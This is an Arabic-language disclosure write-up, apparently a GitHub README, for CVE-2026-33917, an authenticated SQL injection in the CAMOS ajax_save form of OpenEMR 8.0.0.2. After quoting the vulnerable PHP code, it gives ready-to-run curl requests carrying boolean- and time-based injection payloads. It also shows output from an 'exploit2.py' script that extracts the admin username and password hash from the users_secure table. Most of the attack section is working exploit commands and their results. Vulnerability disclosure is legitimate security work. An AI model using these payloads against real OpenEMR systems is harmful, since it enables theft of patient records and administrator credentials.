
CVE-2026-33917: ثغرة حقن SQL في OpenEMR <8.0.0.3
الضعف CWE-89
تحييد غير سليم للعناصر الخاصة المستخدمة في أمر SQL (حقن SQL) يبني المنتج كل أمر SQL أو جزءًا منه باستخدام مدخلات متأثرة خارجيًا من مكوّن علوي (upstream component)، لكنه لا يحيد العناصر الخاصة أو يحيدها بشكل غير صحيح، وهي العناصر التي قد تعدّل أمر SQL المقصود عند إرساله إلى مكوّن سفلي (downstream component). دون إزالة كافية أو اقتباس (quoting) لصيغة SQL في المدخلات التي يتحكم بها المستخدم، يمكن لاستعلام SQL الناتج أن يجعل تلك المدخلات تُفسَّر على أنها SQL بدلاً من بيانات مستخدم عادية. تعرّف على المزيد على MITRE.
يحتوي OpenEMR 8.0.0.2 على ثغرة حقن SQL في نموذج ajax_save CAMOS يمكن استغلالها من قبل المهاجمين المصادَق عليهم. توجد الثغرة بسبب التحقق غير الكافي من المدخلات في صفحة ajax_save في نموذج CAMOS.
تحدث الثغرة في نموذج ajax_save CAMOS حيث يتم دمج المدخلات التي يقدمها المستخدم في معامل content مباشرةً في استعلامات SQL دون تعقيم مناسب. وهذا يسمح للمهاجمين بحقن أكواد SQL خبيثة.
توجد 3 عبارات SQL بنفس نقطة الحقن ونقطة الدخول والوسيط.
تؤثر الثغرة على الملفات التالية:
interface/forms/CAMOS/content_parser.php السطر 127، 137 و21interface/forms/CAMOS/content_parser.php السطر 186interface/forms/CAMOS/ajax_save.php السطر 28صفحة ajax_save، تستدعي الدالة الضعيفة process_commands مع إدخال من المستخدم
$field_names = ['category' => $_POST["category"], 'subcategory' => $_POST["subcategory"], 'item' => $_POST["item"], 'content' => $_POST['content']];
$camos_array = [];
process_commands($field_names['content'], $camos_array);
وحدة content_parser، تنفّذ الدالة الضعيفة
function process_commands(&$string_to_process, &$camos_return_data)
{
...
if (preg_match("/\/\*\s*date_add\s*::\s*(.*?)\s*\*\//", (string) $string_to_process, $matches)) {
$to_replace = $matches[0];
$days = $matches[1];
$query = "select date_format(date_add(date, interval " . add_escape_custom($days) . " day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?";
$statement = sqlStatement($query, [$_SESSION['pid'], $_SESSION['encounter']]);
if ($result = sqlFetchArray($statement)) {
$string_to_process = str_replace($to_replace, $result['date'], $string_to_process);
}
}
if (preg_match("/\/\*\s*date_sub\s*::\s*(.*?)\s*\*\//", (string) $string_to_process, $matches)) {
$to_replace = $matches[0];
$days = $matches[1];
$query = "select date_format(date_sub(date, interval " . add_escape_custom($days) . " day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?";
$statement = sqlStatement($query, [$_SESSION['pid'], $_SESSION['encounter']]);
if ($result = sqlFetchArray($statement)) {
$string_to_process = str_replace($to_replace, $result['date'], $string_to_process);
}
}
...
}
وحدة content_parser، استدعاء addAppt
if (trim($comm_array[0]) == 'appt') {
array_shift($comm_array);
$days = trim((string) array_shift($comm_array));
$time = trim((string) array_shift($comm_array));
addAppt($days, $time);
}
وحدة content_parser، دالة addAppt
function addAppt($days, $time)
{
$sql = "insert into openemr_postcalendar_events (pc_pid, pc_eventDate," .
"pc_comments, pc_aid,pc_startTime) values (?, date_add(current_date(), interval " . add_escape_custom($days) .
" day),'from CAMOS', ?, ?)";
return sqlInsert($sql, [$_SESSION['pid'], $_SESSION['authUserID'], $time]);
}
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=f8cee855217b5740619ad53f0879da5b" --data 'csrf_token_form=a7db83759f5b68d1a9c0bb3562c14cbafb6d8f07&category=&subcategory=&item=&content=%2F%2Adate_add%3A%3Ainjection"payload%2A%2F' 'http://172.18.0.3/interface/forms/CAMOS/ajax_save.php'
SQL Statement failed on preparation: select date_format(date_add(date, interval injection\"payload day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: select date_format(date_add(date, interval injection\"payload day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\"payload day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and ...' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/interface/forms/CAMOS/content_parser.php at 127:sqlStatement<br />/var/www/localhost/htdocs/openemr/interface/forms/CAMOS/ajax_save.php at 28:process_commands(/*date_add::injection"payload*/,Array)
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=372430245364b5ee0c46d7d24b5814f6" --data 'csrf_token_form=37fd2f55723113916cfd4ac17ab1fe7d41a5872a&category=&subcategory=&item=&content=%2F%2Adate_add%3A%3A7%20DAY%29%2C%20CHAR%2837%2C87%2C44%2C32%2C37%2C109%2C45%2C37%2C100%2C45%2C37%2C89%29%29%20AS%20date%2C%20SLEEP%285%29%20%20FROM%20patient_data%20UNION%20SELECT%20SLEEP%281%29%2C%20DATE_FORMAT%28DATE_ADD%28date%2C%20INTERVAL%207%2A%2F' 'http://172.18.0.3/interface/forms/CAMOS/ajax_save.php'
<br /><span style='color:red;font-weight:bold;'>There was an OpenEMR SQL Escaping ERROR of the following string form_CAMOS</span><br />
┌──(kali㉿kali)-[~]
└─$
select date_format(date_add(date, interval <injection> day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?
مثال لاستغلال قائم على القيم المنطقية (boolean-based):
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=372430245364b5ee0c46d7d24b5814f6" --data 'csrf_token_form=37fd2f55723113916cfd4ac17ab1fe7d41a5872a&category=&subcategory=&item=&content=%2F%2Adate_add%3A%3A7%20DAY%29%2C%20CHAR%2837%2C87%2C44%2C32%2C37%2C109%2C45%2C37%2C100%2C45%2C37%2C89%29%29%20AS%20date%2C%20SLEEP%285%29%20%20FROM%20patient_data%20WHERE%201=0%20UNION%20SELECT%20SLEEP%281%29%2C%20DATE_FORMAT%28DATE_ADD%28date%2C%20INTERVAL%207%2A%2F' 'http://172.18.0.3/interface/forms/CAMOS/ajax_save.php'
<font color=red><b>submitted: 1772104393</b></font>
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=372430245364b5ee0c46d7d24b5814f6" --data 'csrf_token_form=37fd2f55723113916cfd4ac17ab1fe7d41a5872a&category=&subcategory=&item=&content=%2F%2Adate_add%3A%3A7%20DAY%29%2C%20CHAR%2837%2C87%2C44%2C32%2C37%2C109%2C45%2C37%2C100%2C45%2C37%2C89%29%29%20AS%20date%2C%20SLEEP%285%29%20%20FROM%20patient_data%20WHERE%201=1%20UNION%20SELECT%20SLEEP%281%29%2C%20DATE_FORMAT%28DATE_ADD%28date%2C%20INTERVAL%207%2A%2F' 'http://172.18.0.3/interface/forms/CAMOS/ajax_save.php'
<br /><span style='color:red;font-weight:bold;'>There was an OpenEMR SQL Escaping ERROR of the following string form_CAMOS</span><br />
┌──(kali㉿kali)-[~]
└─$
/*date_add::7 DAY), CHAR(37,87,44,32,37,109,45,37,100,45,37,89)) AS date, SLEEP(5) FROM patient_data UNION SELECT SLEEP(1), DATE_FORMAT(DATE_ADD(date, INTERVAL 7*/
┌──(kali㉿kali)-[~]
└─$ python3 exploit2.py 172.18.0.3 372430245364b5ee0c46d7d24b5814f6 37fd2f55723113916cfd4ac17ab1fe7d41a5872a users_secure --columns username password password_history1 password_history2 password_history3 password_history4
[#] Row count for table: users_secure 1
[#] String length: users_secure.username 0 5
[>] Character recovered: a
[>] Character recovered: d
[>] Character recovered: m
[>] Character recovered: i
[>] Character recovered: n
[+] Extracted string: ascii users_secure username 0 admin
[#] String length: users_secure.password 0 60
[>] Character recovered: $
[>] Character recovered: 2
[>] Character recovered: y
[>] Character recovered: $
[>] Character recovered: 1
[>] Character recovered: 2
[>] Character recovered: $
[>] Character recovered: g
[>] Character recovered: 4
[>] Character recovered: T
[>] Character recovered: y
[>] Character recovered: s
[>] Character recovered: 1
[>] Character recovered: l
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: f
[>] Character recovered: t
[>] Character recovered: B
[>] Character recovered: I
[>] Character recovered: u
[>] Character recovered: x
[>] Character recovered: y
[>] Character recovered: w
[>] Character recovered: o
[>] Character recovered: 5
[>] Character recovered: L
[>] Character recovered: z
[>] Character recovered: e
[>] Character recovered: V
[>] Character recovered: 7
[>] Character recovered: W
[>] Character recovered: 7
[>] Character recovered: a
[>] Character recovered: L
[>] Character recovered: B
[>] Character recovered: z
[>] Character recovered: O
[>] Character recovered: X
[>] Character recovered: g
[>] Character recovered: a
[>] Character recovered: C
[>] Character recovered: g
[>] Character recovered: U
[>] Character recovered: e
[>] Character recovered: v
[>] Character recovered: Z
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: Y
[>] Character recovered: Q
[>] Character recovered: a
[>] Character recovered: X
[>] Character recovered: 0
[>] Character recovered: c
[>] Character recovered: y
[>] Character recovered: c
[>] Character recovered: 2
[>] Character recovered: i
[>] Character recovered: O
[+] Extracted string: ascii users_secure password 0 $2y$12$g4Tys1lxAftBIuxywo5LzeV7W7aLBzOXgaCgUevZxAYQaX0cyc2iO
[#] String length: users_secure.password_history1 0 0
[#] String length: users_secure.password_history2 0 0
[#] String length: users_secure.password_history3 0 0
[#] String length: users_secure.password_history4 0 0
┌──(kali㉿kali)-[~]
└─$
https://www.cve.org/CVERecord?id=CVE-2026-33917
هذا المشروع مرخّص بموجب رخصة MIT – راجع ملف LICENSE للتفاصيل.
يرجى الاستشهاد بورقتنا البحثية: https://github.com/ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0